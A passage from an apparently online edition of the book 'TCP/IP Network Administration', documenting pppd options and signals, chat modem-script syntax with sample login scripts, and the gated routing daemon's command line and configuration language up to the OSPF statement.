
Sets the Maximum Transmission Unit (MTU) to n bytes. MTU defines the maximum length of a packet that can be sent. The smaller of the local MTU and the remote MRU is used to define the maximum packet length.

name name

Tells system to use name as the name of the local system for authentication purposes.

netmask mask

Defines the subnet mask.

noipdefault

Instructs system not to use hostname to determine the local IP address. The address must be obtained from the remote system or explicitly set by an option.

+pap

Requires the use of the Password Authentication Protocol (PAP).

-pap

Disables the use of PAP.

papcrypt

Instructs system not to accept passwords that are identical to those in the /etc/ppp/pap-secrets file because the ones in the file are encrypted. Therefore the transmitted password should not match an entry in the pap-secrets file until it is also encrypted.

pap-max-authreq n

Tells system to transmit no more than n PAP authenticate-requests if the remote system does not respond. The default is 10.

pap-restart n

Tells system to wait n seconds before retransmitting a PAP authenticate-request. The default is 3 seconds.

pap-timeout n

Tells system to wait no more than n seconds for the remote system to authenticate itself. When n is 0, there is no time limit.

passive

Tells system to wait for a Link Control Protocol (LCP) packet from the remote system even if that system does not reply to the initial LCP packet sent by the local system. Without this option the local system aborts the connection when it does not receive a reply. The passive option can also be written as -p.

-pc

Disables protocol field compression negotiation. By default, protocol field compression is not used. Setting this option means that even if the remote end requests it, it will not be used.

persist

Tells system to reopen the connection if it was terminated by a SIGHUP signal.

pred1comp

Tells system to ask the remote system to use Predictor-1 compression.

-pred1comp

Tells system not to use Predictor-1 compression.

proxyarp

Tells system to enable proxy ARP. This adds a proxy ARP entry for the remote system to the local system's ARP table.

-proxyarp

Disables the proxyarp option, preventing users from creating proxy ARP entries with pppd.

remotename name

Tells system to use name as the remote system's name for authentication purposes.

silent

Tells system to wait for an LCP packet from the remote system. Do not send the first LCP packet.

usehostname

Disables the name option, forcing the local hostname to be used for authentication purposes.

user username

Tells system to use username for PAP authentication when challenged by a remote host.

-vj

Disables Van Jacobson header compression.

-vjccomp

Disables the connection-ID compression option in Van Jacobson header compression.

vj-max-slots n

Tells system to use n connection slots for Van Jacobson header compression. n must be a number from 2 to 16.

Several of the options listed above concern PPP security. One of the strengths of PPP is its security. The Challenge Handshake Authentication Protocol (CHAP) is the preferred PPP security protocol. The Password Authentication Protocol (PAP) is less secure and only provided for compatibility with less capable systems. The usernames, IP addresses, and secret keys used for these protocols are defined in the /etc/ppp/chap-secrets file and the /etc/ppp/pap-secrets file. Chapter 6 shows the format of these files and describes their use.

It is very important that the directory /etc/ppp and the files in that directory not be world- or group-writable. Modifications to the chap-secrets, pap-secrets, or options files could compromise system security. In addition, the script files /etc/ppp/ip-up and /etc/ppp/ip-down may run with root privilege. If pppd finds a file with the name ip-up in the /etc/ppp directory, it executes it as soon as the PPP connection is established. The ip-up script is used to modify the routing table, process the sendmail queue, or do other tasks that depend on the presences of the network connection. The ip-down script is executed by pppd after the PPP connection is closed and is used to terminate processes that depend on the link. Clearly these scripts and the /etc/ppp directory must be protected.

A.2.1 Signal processing

pppd handles the following signals:

SIGUSR1

This signal toggles debugging on or off. The first SIGUSR1 signal received by pppd turns on debugging and begins logging diagnostic messages through syslogd with facility set to daemon and level set to debug. The second SIGUSR1 signal turns off debugging and closes the log file. See the debug option described above.

SIGUSR2

This signal causes pppd to renegotiate compression. It has limited applicability because it is only needed to restart compression after a fatal error has occurred. Most people close the PPP connection and open a new one after a fatal error.

SIGHUP

This signal closes the PPP connection, returns the serial device to its normal operating mode, and terminates pppd. If the persist option is specified, pppd opens an new connection instead of terminating.

SIGINT

This signal, or the SIGTERM signal, closes the PPP connection, returns the serial device to its normal operating mode, and terminates pppd. The persist option has no effect.

Previous: A.1 Dial-Up IP | TCP/IP Network Administration | Next: A.3 chat
A.1 Dial-Up IP | Book Index | A.3 chat


[Appendix A] A.3 chat

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: A.2 The PPP Daemon Appendix A
PPP Tools 		Next: B. A gated Reference

A.3 chat

chat is a general-purpose scripting language that is used to control the modem, dial the remote server, and perform the remote system login. chat is less powerful than dip but is widely used. The "expect/send" structure of a chat script is the fundamental structure used in most scripting languages.

A chat script is composed of expect/send pairs. These pairs consist of the string expected from the remote system, separated by whitespace from the response that is sent to the remote host when the expected string is received. If no string is expected from the remote system, two quotes ("") or two apostrophes (") are used to "expect nothing." A simple chat script is:

"" \r name> jane word> TOga!toGA

The script expects nothing ("") until it sends the remote system a carriage return (\r). Then the script expects the remote system to send the string name>, which is part of the system's Username> prompt. In response to this prompt, the script sends the username jane. Finally the script waits for part of the Password> prompt and responds with TOga!toGA. A script this simple can be defined directly on the chat command line:

% chat -v -t30 "" \r name> jane word> TOga!toGA

This command runs chat in verbose mode, sets the length of time the script waits for an expected string to 30 seconds, and then executes the simple login script described above.

The syntax of the chat command is:

chat [options] [script]

The chat command options are:

-v

Runs the chat script in verbose mode. Verbose mode logs informational messages via syslogd.

-V

Runs the chat script in stderr verbose mode. The stderr verbose mode displays informational messages on the stderr device. See Chapter 6 for an example of this being used with pppd.

-t timeout

Sets the maximum time to wait for an expected string. If the expected string is not received in timeout seconds, the reply string is not sent and the script terminates&amp;amp;amp;mdash;unless an alternate send is defined. If defined, the alternate send (more about this later) is sent and the remote system is given one more timeout period to respond. If this fails, the script is terminated with a nonzero error code. By default, the timeout period is 45 seconds.

-f scriptfile

Reads the chat script from the scriptfile instead of from the command line. Multiple lines of expect/send pairs are permitted in the file.

-r reportfile

Writes the output generated by REPORT strings to the reportfile. By default, REPORT strings are written to stderr. The REPORT keyword is covered below.

In order to make the scripts more useful and robust, chat provides special keywords, escape sequences, and alternate send/expect pairs that can be used in the script. First let's look at the five chat keywords.

Two keywords transmit special signals to the remote system. The keyword EOT sends the End of Transmission character. On UNIX systems this is usually the End of File character, which is a CTRL-D. The BREAK keyword sends a line break to the remote system. The three remaining keywords define processing characteristics for the script itself.

The TIMEOUT keyword defines the amount of time to wait for an expected string. Because it is defined inside the script, the timeout value can be changed for each expected string. For example, assume you want to allow the remote server 30 seconds to display the initial Username> prompt but only 5 seconds to display Password> once the username has been sent. Enter this script command:

TIMEOUT 30 name> karen TIMEOUT 5 word> beach%PARTY

The ABORT keyword and the REPORT keyword are similar. They both define strings that, when received, cause a special action to take place. The ABORT keyword defines strings that cause the script to abort if they are received when the system is expecting the string CONNECT from the modem. The REPORT keyword defines substrings that determine what messages received on the serial port should be written to stderr or the report file. A sample chat script file illustrates both of these keywords:

REPORT CONNECT
ABORT BUSY
ABORT 'NO CARRIER'
ABORT 'RING - NO ANSWER'
"" ATDT5551234
CONNECT \r
name> karen
word> beach%PARTY

The first line says that any message received by the script that contains the word CONNECT will be logged. If the -r command-line option was used when chat was started, the message is logged in the file defined by that option. Otherwise the message is displayed on stderr. The point of this command is to display the modem's connect message to the user. For example: the complete message might be CONNECT 28,800 LAPM/V, which tells the user the link speed and the transmission protocol used by the modems. The CONNECT message means success. The next three lines of the script begin with the keyword ABORT and define the modem messages that mean failure. If the modem responds with BUSY, NO CARRIER, or RING - NO ANSWER, the script aborts.

The last four lines are the basic expect/send pairs we have seen repeatedly in this section. We expect nothing ("") and send the dial command to the modem (ATDT). We expect CONNECT from the modem and send a carriage return (\r) to the remote server. We expect Username> from the remote server and send karen. Finally, we expect Password> from the server and send beach%PARTY.

chat extends the standard expect/send pair with an alternate send and an alternate expect to improve robustness. You may define an alternate send string and an alternate expect value to be used when the script times out waiting for the primary expected value. The alternate send and the alternate expect are indicated in the script by preceding them with dashes. For example:

gin:-BREAK-gin: becca

In this sample we wait for the string gin: and send the string becca. The first string and the last string compose the standard expect/send pair. The alternate send/expect is only used if the timer expires and the expected gin: string has not been received. When this occurs, the script sends a line break, restarts the timer, and waits for gin: again, because that is what our alternate send/expect pair (-BREAK-gin:) tells the script to do. Note that unlike the standard expect/send pair, in the send/expect pair a value is transmitted before a string is expected, i.e., the send comes before the expect. Another example more in keeping with our other script examples is:

name>&amp;amp;amp;mdash;name> karen

Here the script expects the name> string. If it is not received, the script sends an empty line, which is simply a carriage return, and again waits for the name> string. This action is dictated by the alternate send/expect pair, &amp;amp;amp;mdash;name>. The pair begins with a dash that signals the start of the send string, but the next character is the second dash that marks the beginning of the alternate expect string. There is no send string. It is this "empty string" that causes the script to send a single return character. This example is more common than the BREAK example shown above, though a little harder to explain.

The carriage return character is not the only special character that can be sent from a chat script. chat provides several escape sequences for sending and receiving special characters. Table 13.2 lists these.

Table A.2: chat Escape Sequences
Escape Sequence | Meaning
\b | The backspace character.
\ | Send without the terminating return character.
\d | Delay sending for one second.
\K | Send a BREAK.
\n | Send a newline character.
\N | Send a null character.
\ | Delay sending 1/10th of a second.
\q | Send the string but don't log it.
\r | The carriage return.
\s | The space character.
\t | The tab character.
\\ | The backslash character.
\ddd | The ASCII character with the octal value ddd.
^C | A control character.

All of the escape sequences start with a backslash (\) except for the sequence used to enter a control character. Control characters are entered as a caret (^) followed by an uppercase letter. For example control X is entered as ^X. The escape sequences that are described in Table 13.2 with the words "send" or "sending" can only be used in a send string; all others can be used in either a send or expect string. Several escape sequences are used in the following example:

"" \d\d^G\p^G\p\p^GWake\sUp!\nSleepy\sHead!

Expect nothing (""). Wait two seconds (\d\d). Send three ASCII BELL characters, which is CTRL-G on the keyboard, at intervals of 1/10 of a second (^G\p^G\p\p^G). Send the string Wake Up!. Go to a new line (\n) and send the string Sleepy Head!.

Previous: A.2 The PPP Daemon | TCP/IP Network Administration | Next: B. A gated Reference
A.2 The PPP Daemon | Book Index | B. A gated Reference


[Appendix B] A gated Reference

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: A.3 chat Appendix B Next: B.2 The gated Configuration Language

B. A gated Reference

Contents:
The gated Command
The gated Configuration Language
Directive Statements
Trace Statements
Options Statements
Interface Statements
Definition Statements
Protocol Statements
static Statements
Control Statements
The Aggregate Statements

This appendix covers the syntax of the gated command and the gated configuration language. As a reference to the gated configuration language, this appendix stands on its own. But to fully understand how to configure gated, use this reference in conjunction with the sample configuration files in Chapter 7, Configuring Routing .

gated is constantly being improved. As it is upgraded, the command language changes. Refer to the latest manpages for the most recent information about gated.

B.1 The gated Command

The syntax of the gated command is:

gated [-c] [-C] [-n] [-N] [-t trace_options] [-f config_file] [trace_file]

The -c and -n command-line options debug the routing configuration file without impacting the network or the kernel routing table. Frequently, these debugging options are used with a test configuration identified by the -f config_file option:

-c

Tells gated to read the configuration file and check for syntax errors. When gated finishes reading the configuration file, it produces a snapshot of its status and then terminates. It writes the snapshot to /usr/tmp/gated_dump. Running gated with the -c option does not require superuser privilege, and it is not necessary to terminate the active gated process.

-C

Checks the configuration file for syntax errors. gated exits with a status 1 if there are errors and 0 if there are none. Because this provides exit status, it is useful for script files.

-n

Tells gated not to update the kernel routing table. This is used to test the routing configuration with real routing data without interfering with system operation.

-f config_file

Tells gated to read the configuration from config_file instead of from the default configuration file, /etc/gated.conf. Used in conjunction with the -c option, -f checks a new configuration without interfering with the currently running gated configuration.

The -N command-line option prevents gated from running in background mode as a daemon. This option is used when gated is started from inittab. By default, gated runs as a daemon.

The command-line arguments trace_options and trace_file are used for protocol tracing. The trace_file argument names the file to which the trace output is written. If a file is not specified, the trace is written to the standard output. Tracing usually produces a large amount of output.

The command-line options used for tracing are:

-t

This option turns on tracing. If -t is specified with no trace_options, gated defaults to general tracing, which traces normal protocol interactions and routing table changes. gated always logs protocol errors even if no tracing is specified. You can define several different trace_options, all of which are described later in this appendix. A few trace_options (detail, send, recv) cannot be specifed on the gated command line. Two others are most useful when they are defined on the command line:

symbols

Traces the symbols read from the kernel, which is primarily of interest to developers debugging the interaction of gated and the kernel.

iflist

Traces the list of interfaces read from the kernel. Use this to determine what interfaces are detected by the kernel interface scan.

The advantage of placing a trace option on the command line is that it can trace activities that happen before the configuration file is processed. For the two options listed above, this is an essential advantage. For other options it is not very important. Most trace options are specified in the configuration file. See the traceoptions command later in this appendix for more details.

B.1.1 Signal Processing

gated processes the following signals:

SIGHUP

Tells gated to reread the configuration file. The new configuration replaces the one that gated is currently running. SIGHUP loads the new configuration file without interrupting gated service. SIGHUP is available for quick configuration changes. At most sites, the routing configuration changes infrequently. The few times you need to change to a new configuration, terminate gated and rerun it with the new configuration. This is a more accurate test of how things will run at the next boot.

SIGINT

Tells gated to snapshot its current state to the file /usr/tmp/gated_dump.

SIGTERM

Tells gated to shut down gracefully. All protocols are shut down following the rules of that protocol. For example, EGP sends a CEASE message and waits for it to be confirmed. SIGTERM removes from the kernel routing table all routes learned via the exterior routing protocols. If you need to preserve those routes while gated is out of operation, use SIGKILL.

SIGKILL

Tells gated to terminate immediately and dump core. Routes are not removed from the routing table, and no graceful shutdown is attempted.

SIGUSR1

Tells gated to toggle tracing. If no trace flags are set, SIGUSR1 has no effect. But if tracing is enabled, the first SIGUSR1 causes gated to toggle off tracing and to close the trace file. The next SIGUSR1 turns tracing back on and opens the trace file. When the trace file is closed, it can be moved or removed without interfering with the operation of gated. Use this to periodically empty out the trace file to prevent it from becoming too large.

SIGUSR2

Tell gated to check for changes in the status of the network interfaces.

The following is an example of gated signal handling. First, the SIGUSR1 signal is passed to the gated process using the process ID obtained from the gated.pid file (/var/run/gated.pid in this case).

# kill -USR1 `cat /var/run/gated.pid`

Next, the old trace file (/usr/tmp/gated.log in this case) is removed, and gated is passed another SIGUSR1 signal.

# rm /usr/tmp/gated.log
# kill -USR1 `cat /etc/gated.pid`

After receiving the second signal, gated opens a fresh trace file (still named /usr/tmp/gated.log). An ls shows that the new file has been created.

# ls -l /usr/tmp/gated.log
-rw-rw-r--  1 root          105 Jul  6 16:41 /usr/tmp/gated.log

Previous: A.3 chat | TCP/IP Network Administration | Next: B.2 The gated Configuration Language
A.3 chat | Book Index | B.2 The gated Configuration Language


[Appendix B] B.2 The gated Configuration Language

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: B.1 The gated Command Appendix B
A gated Reference 		Next: B.3 Directive Statements

B.2 The gated Configuration Language

The gated configuration language is a highly structured language similar to C in appearance. Comments either begin with a #, or they begin with /* and end with */. gated configuration statements end with a semicolon, and groups of associated statements are enclosed in curly braces. The language structure is familiar to most UNIX system administrators, and the structure makes it easy to see what parts of the configuration are associated with each other. This is important when multiple protocols are configured in the same file.

The configuration language is composed of nine types of statements. Two statement types, directive statements and trace statements, can occur anywhere in the gated.conf file and do not directly relate to the configuration of any protocol. These statements provide instructions to the parser and control tracing from within the configuration file. The other seven statement types are options statements, interface statements, definition statements, protocol statements, static statements, control statements, and aggregate statements. These statements must appear in the configuration file in the correct order, starting with options statements and ending with aggregate statements. Entering a statement out of order causes an error when parsing the file.

The remainder of this appendix provides a description of all commands in the gated configuration language, organized by statement type.

Previous: B.1 The gated Command | TCP/IP Network Administration | Next: B.3 Directive Statements
B.1 The gated Command | Book Index | B.3 Directive Statements


[Appendix B] B.3 Directive Statements

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: B.2 The gated Configuration Language Appendix B
A gated Reference 		Next: B.4 Trace Statements

B.3 Directive Statements

Directive statements provide direction to the gated command language parser about "include" files. An include file is an external file whose contents are parsed into the configuration as if it were part of the original gated.conf file. Include files can contain references to other include files, and these references can be nested up to 10 levels deep.

The two directive statements are:

%include filename

Identifies an include file. The contents of the file are "included" in the gated.conf file at the point in the gated.conf file where the %include directive is encountered. filename is any valid UNIX filename. If filename is not fully qualified, i.e., does not begin with a /, it is considered to be relative to the directory defined in the %directory directive.

%directory pathname

Defines the directory where the include files are stored. When it is used, gated looks in the directory identified by pathname for any include file that does not have a fully qualified filename.

Unless you have a very complex routing configuration, avoid using include files. In a complex environment, segmenting a large configuration into smaller, more easily understood segments can be helpful, but most gated configurations are very small. One of the great advantages of gated is that it combines the configuration of several different routing protocols into a single file. If that file is small and easy to read, segmenting the file unnecessarily complicates things.

Previous: B.2 The gated Configuration Language | TCP/IP Network Administration | Next: B.4 Trace Statements
B.2 The gated Configuration Language | Book Index | B.4 Trace Statements


[Appendix B] B.4 Trace Statements

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: B.3 Directive Statements Appendix B
A gated Reference 		Next: B.5 Options Statements

B.4 Trace Statements

Trace statements allow you to control the trace file and its contents from within the gated.conf file. The trace statement is:

traceoptions ["trace_file" [replace] [size bytes[k|m] files n]] [nostamp] trace_options [except trace_options] ;

Its components are as follows:

trace_file

Identifies the file that receives the trace output. It has exactly the same function as the trace_file argument on the gated command line.

replace

Replaces the existing trace file. If you do not use this keyword, the trace output is appended to the current contents of the file.

size bytes[k|m] [files n]

Limits the trace file to a maximum size of bytes. The optional k or m indicates thousands (k) or millions (m) of bytes. Thus 1000000 and 10m are equivalent entries. The size of the trace file cannot be less than 10k bytes. n defines the maximum number of trace files that should be saved. When the trace file reaches the maximum size, it is saved as trace_file.0, trace_file.1, trace_file.2 up to trace_file.n. The next save then overwrites trace_file.0. The value for n must be at least 2.

nostamp

Specifies that trace lines should not begin with a timestamp. Timestamping each line of trace data is the default.

trace_options

Define the events to be traced by gated. Each trace option is specified by a keyword name. The available trace options are:

none

Turns off all tracing.

all

Turns on all types of global tracing.

general

Turns on both normal and route tracing.

state

Traces state machine transitions for protocols such as OSPF and BGP. The RFCs describe these protocols using finite state machine (FSM) diagrams or tables. The protocols transition from one state to another based on the occurrence of certain events. For example, the state might change from idle to connect when a connection open event occurs. This is a highly specialized trace flag, useful only to those who have a thorough understanding of the protocols involved. Use this option within the protocol statement to trace a specific protocol's transitions.

normal

Traces normal protocols interactions. Errors are always traced.

policy

Traces the application of routing policies. Use this to check that you have properly configured your routing policy.

task

Traces system-level processing.

timer

Traces the various timers used by a protocol or peer.

route

Traces routing table changes. Use this to check that routes are properly installed by the protocol.

detail

Traces the contents of the packets exchanged by the router. Must be specified before send or recv.

send

Limits the detail trace to packets sent by this router.

recv

Limits the detail trace to packets received by this router. Without these two options, all packets are traced when detail is specified.

symbols

Traces the symbols read from the kernel at startup. See the -t command-line argument.

iflist

Traces the kernel interface list. See the -t command-line argument.

parse

Traces the lexical analyzer and parser.

adv

Traces the allocation and release of blocks.

except trace_options

Disables specific trace options. Must be used in conjunction with trace_options that enable a wide variety of tracing. For example: traceoptions all except state turns on all traces except for finite state machine tracing.

gated provides the flexibility for you to choose where you want to control tracing - on the command line or in the configuration file. By and large, the same trace options can be set on the gated command line or in the configuration file. detail, send and recv can be set only in the configuration file.

Two others, symbols and iflist, are primarily used on the command line. Refer to the section on the gated command line for a description of setting trace options with -t.

Some trace options are only useful for protocol developers and other experts. For most of us, general, which enables normal and route tracing, is an appropriate level of information for debugging routing problems. Occasionally policy is useful for testing a routing policy. Most of the time, however, no tracing is needed.

Previous: B.3 Directive Statements | TCP/IP Network Administration | Next: B.5 Options Statements
B.3 Directive Statements | Book Index | B.5 Options Statements


[Appendix B] B.5 Options Statements

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: B.4 Trace Statements Appendix B
A gated Reference 		Next: B.6 Interface Statements

B.5 Options Statements

Options statements define parameters that direct gated to do special internal processing. Options statements appear before any other configuration statements in the gated.conf file.

The options statement syntax is:

options
[nosend]
[noresolv]
[gendefault [preference preference] [gateway gateway]]
[syslog [upto] log_level]
[mark time]
;

An options statement can contain:

nosend

Instructs system not to send any packets. This option tests gated without actually sending out routing information. Use for RIP and HELLO. It is not yet implemented for BGP and is not useful for OSPF.

noresolv

Instructs system not to use the Domain Name System (DNS) to resolve hostnames and addresses. DNS failures can cause gated to deadlock during startup. Use this to prevent deadlock.

gendefault [preference preference] [gateway gateway]

Generates a default route, with a preference of 20, when gated peers with an EGP or BGP neighbor. If gateway is not defined, the gateway in the generated route is the system itself; the default route is not installed in the kernel table; and it is used only to advertise this system as a default gateway. If gateway is specified, the default route is installed in the kernel table with the specified router as the next hop. This option can be overridden with the nogendefault option.

syslog [upto] log_level

Tells system to use the setlogmask facility to control gated logging. See the setlogmask(3) manpage if this facility is available on your system.

mark time

Sends a periodic timestamp message to the trace file. time defines how frequently the timestamp should be issued. Use this to determine if gated is running.

Previous: B.4 Trace Statements | TCP/IP Network Administration | Next: B.6 Interface Statements
B.4 Trace Statements | Book Index | B.6 Interface Statements


[Appendix B] B.6 Interface Statements

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: B.5 Options Statements Appendix B
A gated Reference 		Next: B.7 Definition Statements

B.6 Interface Statements

An interface statement defines configuration options for the network interfaces. The interface_list identifies the interfaces affected by the configuration options. The interfaces in the list are identified by interface name (e.g., le0), by hostname, by IP address, or by the keyword all. The keyword all refers to every interface on the system. The interface name can refer to a single interface or a group of interfaces. For example, an interface name of eth0 refers to the interface eth0, whereas the name le refers to all installed interfaces that start with the letters le (which might include le0, le1, and le2). A hostname can be used if it resolves to only one address.

Most system administrators prefer to use the IP address to identify an interface. After all, IP addresses are inherently a part of TCP/IP, and it's TCP/IP routing that this file configures.

Additionally, remote systems know this interface by its IP address, not its interface name. Finally, DNS may provide more than one address for a hostname, and future UNIX operating systems may allow more than one address per interface. IP addresses are safest.

gated supports four types of interfaces: loopback, broadcast, point-to-point, and non-broadcast multi-access (NBMA). All of these are discussed in the text of this book except for NBMA. It is a multi-access interface, but the underlying network is not capable of broadcast. Examples are frame relay and X.25.

gated ignores any interface in the list that has an invalid local, remote, or broadcast address, or an invalid subnet mask. gated also ignores a point-to-point interface that has the same local and remote addresses. gated assumes that interfaces that are not marked UP by the kernel do not exist.

The syntax of the interfaces statement is:

interfaces {
options
[strictinterfaces]
[scaninterval time] ;
interface interface_list
[preference preference]
[down preference preference]
[passive]
[simplex]
[reject]
[blackhole] ;
define address
[broadcast address] | [pointtopoint address]
[netmask mask]
[multicast] ;
} ;

The configuration options defined before the interface list are global options. The global options are:

strictinterfaces

Generates a fatal error if an interface is referenced in the configuration file that is not found when gated scans the kernel at startup and is not listed in a define statement. (See the define option later in this section.) Normally a warning message is issued and gated continues running.

scaninterval time

Specifies how often gated scans the kernel interface list for changes. The default is every 15 seconds on most systems, and 60 seconds on systems that pass interface status changes through the routing socket, e.g., BSD 4.4. Note that gated also scans the interface list on receipt of a SIGUSR2.

The interface command defines the interface_list and all of the options that affect the specified interfaces. Options available on this statement are:

preference preference

Sets the preference for this interface. The value preference is a number between 0 and 255. gated prefers routes through interfaces with low preference numbers. The default preference for all directly attached network interfaces is 0.

down preference preference

Sets the preference used when gated believes an interface is not functioning properly. The default is 120.

passive

Prevents gated from downgrading the preference of the interface when it is not functioning properly. gated assumes that an interface is down when it stops receiving routing information through that interface. gated only performs this check if the interface is actively participating in a routing protocol.

simplex

Specifies that gated should not use packets generated by this system as an indication that the interface is functioning properly. Only packets from remote systems are used to indicate that the interface is operating.

reject | blackhole

Either of these keywords identifies the interface as the "blackhole interface" used to install rejected routes in the kernel. (See the control statements for more about rejected routes.) This is available only on BSD systems that have installed a reject/blackhole pseudo-interface.

The define address command lists interfaces that might not be present when gated scans the kernel interface list at startup. It overrides the strictinterfaces option for the interface defined by address. Possible options for the define command are:

broadcast address

Defines the broadcast address.

pointopoint address

Defines the local address for a point-to-point interface. (See Chapter 6, Configuring the Interface for a discussion of point-to-point interfaces.) When this option is used, the address on the define statement specifies the address of the remote host, and the address specified after the pointopoint keyword defines the local address. Don't use both broadcast and pointopoint in the same define.

netmask mask

Defines the subnet mask.

multicast

Specifies that the interface supports multicasting.

Previous: B.5 Options Statements | TCP/IP Network Administration | Next: B.7 Definition Statements
B.5 Options Statements | Book Index | B.7 Definition Statements


[Appendix B] B.7 Definition Statements

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: B.6 Interface Statements Appendix B
A gated Reference 		Next: B.8 Protocol Statements

B.7 Definition Statements

Definition statements are general configuration statements that relate to more than one protocol. Definition statements must appear before any protocol statements in gated.conf. The three definition statements are:

autonomoussystem asn [loops n] ;

Defines the autonomous system number (asn) used by BGP or EGP. The loops number defines the number of times this autonomous system may appear in an AS path for path vector protocols, such as BGP. The default value for n is 1.

routerid address ;

Defines the router identifier used by BGP and OSPF. Use the address of your primary OSPF or BGP interface. By default, gated uses the address of the first interface it encounters.

martians {
host address [allow];
address [mask mask | masklen number] [allow] ;
default [allow] ;
} ;

Changes the list of addresses about which all routing information is ignored. Sometimes a misconfigured system sends out obviously invalid destination addresses. These invalid addresses, called martians, are rejected by the routing software. This command allows changes to the list of martian addresses. A martian address can be specified as a host address by using the host keyword before the address, or as a network address by simply specifying the address.

An address mask can be defined for a network address. The mask can be defined in dotted decimal notation using the mask keyword or as a numeric prefix length using the masklen keyword. The address masks mask 255.255.0.0 and masklen 16 are equivalent. If no address mask is specified, the natural mask is used. Specifying an address in the martians statement adds the address to the martians list. The allow keyword is used to remove an address from the martians list. When an address is removed from the martians list, it then becomes a valid address for routing.

gated contains a standard martian list of addresses that are known to be invalid. This is the default martian list. The option default allow removes all of the standard entries from the martians list and permits unrestricted routing. Don't do this if you're on a connected network.

Here is a sample of each definition statement:

autonomoussystem 249 ;
routerid 172.16.12.2 ;
martians {
        host 0.0.0.26 ;
        192.168.0.0 masklen 16 allow ;
} ;

The statements in the sample perform the following functions:

  • The autonomoussystem statement tells gated to use AS number 249 for its BGP or EGP packets.

  • The routerid statement tells gated to use 172.16.12.2 as the router identifier for OSPF and BGP.

  • The martians statement prevents routes to 0.0.0.26 from being included in the table, but it allows routes to the private IP addresses in the range 192.168.0.0 to 192.168.255.255.

Previous: B.6 Interface Statements | TCP/IP Network Administration | Next: B.8 Protocol Statements
B.6 Interface Statements | Book Index | B.8 Protocol Statements


[Appendix B] B.8 Protocol Statements

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: B.7 Definition Statements Appendix B
A gated Reference 		Next: B.9 static Statements

B.8 Protocol Statements

Protocol statements enable or disable protocols and set protocol options. The protocol statements occur after the definition statements and before the static statements. There are many protocol statements and more may be added at any time. There are statements for the various interior and exterior routing protocols, and for other things that are not really routing protocols.

In this section we begin with the interior protocols, move on to the exterior protocols, and finish with the special "protocols."

B.8.1 The ospf Statement

ospf yes | no | on | off [{
defaults {
preference preference ;
cost cost ;
tag [as] tag ;
type 1 | 2 ; } ;
exportlimit routes ;
exportinterval time ;
traceoptions trace_options ;
monitorauthkey password ;
backbone | area number {
authtype 0 | 1 | none | simple ;
stub [cost cost] ;
networks {
address [mask mask |masklen number] [restrict] ;
host address [restrict] ; } ;
stubhosts {
address cost cost ; } ;
interface interface_list [nonbroadcast] [cost cost] {
pollinterval time ;
routers {
address [eligible] ; } ;
interface_parameters } ;
virtuallink neighborid router_id transitarea area {
interface_parameters } ;
} ;
} ] ;

The ospf statement enables or disables the Open Shortest Path First (OSPF) routing protocol. By default, OSPF is disabled. It is enabled by specifying yes or on (it doesn't matter which you use) and it is disabled with no or off.

NOTE: For the sake of brevity, this text explains only the first occurrence of any gated.conf parameter if it is used the same way in subsequent commands. Only differences between commands are explained. For example, yes | no | on | off is not explained again, because it is always used in the same way to enable or disable a protocol.

The ospf statement has many configuration parameters:

defaults

Defines the defaults used when importing OSPF routes from an external autonomous system and announcing those routes to other OSPF routers. The link-state advertisement (LSA) used to announce these routes is called an ASE (autonomous system external) because it contains routes from external autnomous systems. See the description of OSFP in Chapter 7.

preference preference

Defines the preference of OSPF ASE routes. The default is 150.

cost cost

Defines the cost used when advertising a non-OSPF route in an ASE. The default is 1.

tag [as] tag

Defines the OSPF ASE tag value. The tag is not used by the OSPF protocol, but may be used by an export policy to filter routes. (See the export statement later in this appendix.) When the as keyword is specified, the tag field may contain AS path information.

type 1 | 2

Defines the type of ASE used. The default is type 1. Type 1 contains routes learned from an external protocol that provides a metric directly comparable to the OSPF metric. The metric is added to the cost of reaching the border router when routes are advertised. A type 2 ASE contains routes learned from an exterior gateway protocol that does not provide a routing metric comparable to the OSPF metric. These routes are advertised with the cost of reaching the border router. See Chapter 7.

exportlimit routes

Defines the maximum number of ASE LSAs that will be flooded at one time. The default is 100.

exportinterval time

Defines how frequently ASE link-state advertisements are flooded to the network. The default is once per second.

traceoptions trace_options

Defines the tracing used to debug OSPF. In addition to the standard trace flags, OSPF supports:

lsabuild

Traces construction of link-state advertisements (LSA).

spf

Traces the Shortest Path First (SPF) calculations.

hello

Traces the OSPF HELLO packets.

dd

Traces the OSPF Database Description packets.

request

Traces the OSPF Link-State Request packets.

lsu

Traces the OSPF Link-State Update packets.

ack

Traces OSPF Link-State Ack packets.

monitorauthkey password

Defines the password used for ospf_monitor queries. By default these queries are not authenticated. If monitorauthkey is specified, incoming queries must contain the specified password.

backbone | area number

Defines the OSPF area of which this router is a member. Every router must belong to an area. If more than one area is configured, at least one must be the backbone. The backbone is defined using the backbone keyword. All other areas are defined by the area keyword and the number of the area, e.g., area 1. See Chapter 7 for a discussion of OSPF areas. Several configuration parameters are associated with each area:

authtype 0 | 1 | none | simple

Specifies the authentication scheme used in this area. The authentication schemes can be defined by none or 0 for no authentication, or simple or 1 for password authentication. Each system in an area must use this same authentication scheme.

stub [cost cost]

Specifies that this is a stub area. A stub area is one in which there are no ASE routes. If a cost is specified, it is used to advertise a default route into the stub area.

networks

Defines the range of networks contained within this area. The specified ranges are advertised into other areas as summary network LSAs and not as inter-area routes. If restrict is specified, the summary network LSAs are not advertised. The entries in the networks list are either specified as host addresses by using the host keyword before the address, or as a network address by simply specifying the address. An address mask can be defined for a network address. The mask can be defined in dotted decimal notation using the mask keyword or as a numeric prefix length using the masklen keyword. The address masks mask 255.255.0.0 and masklen 16 are equivalent. If no address mask is specified, the natural mask is used. This option can reduce the amount of routing information propagated between areas.

stubhosts

Lists the directly attached hosts, and their costs, that should be advertised as reachable from this router. List point-to-point interfaces here.

interface interface_list [nobroadcast] [cost cost]

